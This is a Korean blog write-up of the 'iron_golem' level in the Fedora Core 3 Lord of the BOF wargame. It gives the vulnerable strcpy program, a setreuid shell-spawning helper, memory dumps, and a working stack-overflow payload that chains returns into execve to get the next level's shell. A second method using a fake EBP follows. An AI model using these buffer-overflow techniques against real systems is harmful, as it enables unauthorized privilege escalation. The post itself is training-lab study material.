페도라 원정대 시작. 단, 모든 문제를 정리하진 않으려고 한다. 문제를 풀면서 특이했던 점이 있거나 중요하다고 느껴지는 것만 정리하려고 하는중. 가장 먼저 gate 문제.
/* The Lord of the BOF : The Fellowship of the BOF - iron_golem - Local BOF on Fedora Core 3 - hint : fake ebp */ int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
페도라에서는 LOB와는 달리 system 함수를 실행하지 말고 execve를 실행해야 euid로 실행시켜 준다. execve를 실행할 시 쉘을 딸 수 있는 프로그램을 미리 짜놓았다.
#include <stdio.h> #include <unistd.h> int main() { setreuid(geteuid(), geteuid()); execl("/bin/sh", "/bin/sh", 0); } |
쉘을 따는데 이용하는 코드는 위와 같다. LOB와는 다르게 seteuid -> setreuid로 바뀌었다.
풀이 1. 심볼릭 링크를 이용하여 스택에 있는 쓰레기값+환경변수로 쉘을 실행시키는 방법
우선 ret를 반복하여 execve의 인자로 쓰일 수 있는 적절한 주소를 찾아주어야 한다.
0xfee48c9c: 0x08048441 0x08048441 0x08048441 0x08048441 0xfee48cac: 0x08048441 0x08048441 0x08048441 0x08048441 0xfee48cbc: 0x007a5490 0xfee48ca0 0x00730df5 0x00000000 0xfee48ccc: 0x00000000 0x00000000 0x00718fb4 0x00000002 |
0x00730df5가 고정주소이고 그 뒤에 0이 두개가 나오므로 이것을 인자로 쓰기로 했다. 0xfee48cbc에 execve 함수 주소를 넣으면 0x00730df가 첫번째 인자(스트링 주소)로 들어가게 된다.
(gdb) x/32bx 0x00730df5 0x730df5 <__libc_start_main+165>: 0x85 0xc0 0x75 0x7b 0x65 0x8b 0x35 0x54 0x730dfd <__libc_start_main+173>: 0x00 |
메모리를 보면 위와 같으므로 쉘을 따는 프로그램을 만들어 "\x85\xc0\x75\x7b\x65\x8b\x35\x54" 이름으로 링크를 걸어놓음. 그리고 PATH 환경변수를 export PATH="./:"$PATH를 통해 수정하여 현재 폴더를 우선으로 하게 하면(tmp에 iron의 링크를 걸어놓고 실행하면 이 행동을 할 필요가 없음) execve로 쉘을 따는 프로그램을 실행가능.
[gate@Fedora_1stFloor iron_golem]$ ./iron "$(python -c 'print "a"*268+"\x41\x84\x04\x08"*8+"\x90\x54\x7a\x00"')" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAATz sh-3.00$ id uid=501(iron_golem) gid=500(gate) groups=500(gate) context=user_u:system_r:unconfined_t sh-3.00$ my-pass euid = 501 blood on the fedora |
답: "$(python -c 'print "a"*268+"\x41\x84\x04\x08"*8+"\x90\x54\x7a\x00"')"
2. fake ebp를 이용하여 풀이
[20] .got PROGBITS 08049614 000614 000004 04 WA 0 0 4 [21] .got.plt PROGBITS 08049618 000618 00001c 04 WA 0 0 4 [22] .data PROGBITS 08049634 000634 00000c 00 WA 0 0 4 [23] .bss NOBITS 08049640 000640 000004 00 WA 0 0 4 [24] .comment PROGBITS 00000000 000640 000126 00 0 0 1 [25] .shstrtab STRTAB 00000000 000766 0000d7 00 0 0 1 [26] .symtab SYMTAB 00000000 000ca0 000480 10 27 44 4 [27] .strtab STRTAB 00000000 001120 00025e 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) [gate@Fedora_1stFloor ~]$ |
execve 함수가 현재 ebp를 기준으로 인자를 받으므로 (라이브러리마다, 혹은 함수마다 다르므로 그 때 그 때 함수를 직접 보고 결정해야함) fake ebp를 통해 인자를 조작할 수 있음. 예를 들어 페도라의 execve를 보면 ebp에서 인자를 꺼내 레지스터에 넣는 것을 볼 수 있다.
0x007a5499 <execve+9>: mov ecx,DWORD PTR [ebp+12] 0x007a549c <execve+12>: call 0x730c71 <__i686.get_pc_thunk.bx> 0x007a54a1 <execve+17>: add ebx,0x99b53 0x007a54a7 <execve+23>: mov DWORD PTR [esp+4],edi 0x007a54ab <execve+27>: mov edx,DWORD PTR [ebp+16] 0x007a54ae <execve+30>: mov edi,DWORD PTR [ebp+8] 0x007a54b1 <execve+33>: xchg edi,ebx 0x007a54b3 <execve+35>: mov eax,0xb 0x007a54b8 <execve+40>: call gs:0x10 |
참고로 gs:0x10은 시스템 콜과 같으며 이때 execve에 들어가는 인자는 밑의 그림과 같다.
(출처:http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html)
따라서 fake ebp를 써서 적절한 인자를 맞춰주면 쉘을 딸 수 있다. 이 부분에 관련된 글은 같은 팀원인 inhack의 글이 잘 되어있어 링크를 남기고 포스팅을 마침.
http://inhack.org/wordpress/?p=2726
'fedora 원정대' 카테고리의 다른 글
Fedora Core3 원정대 Level3 dark_eyes (5) | 2015.02.11 |
---|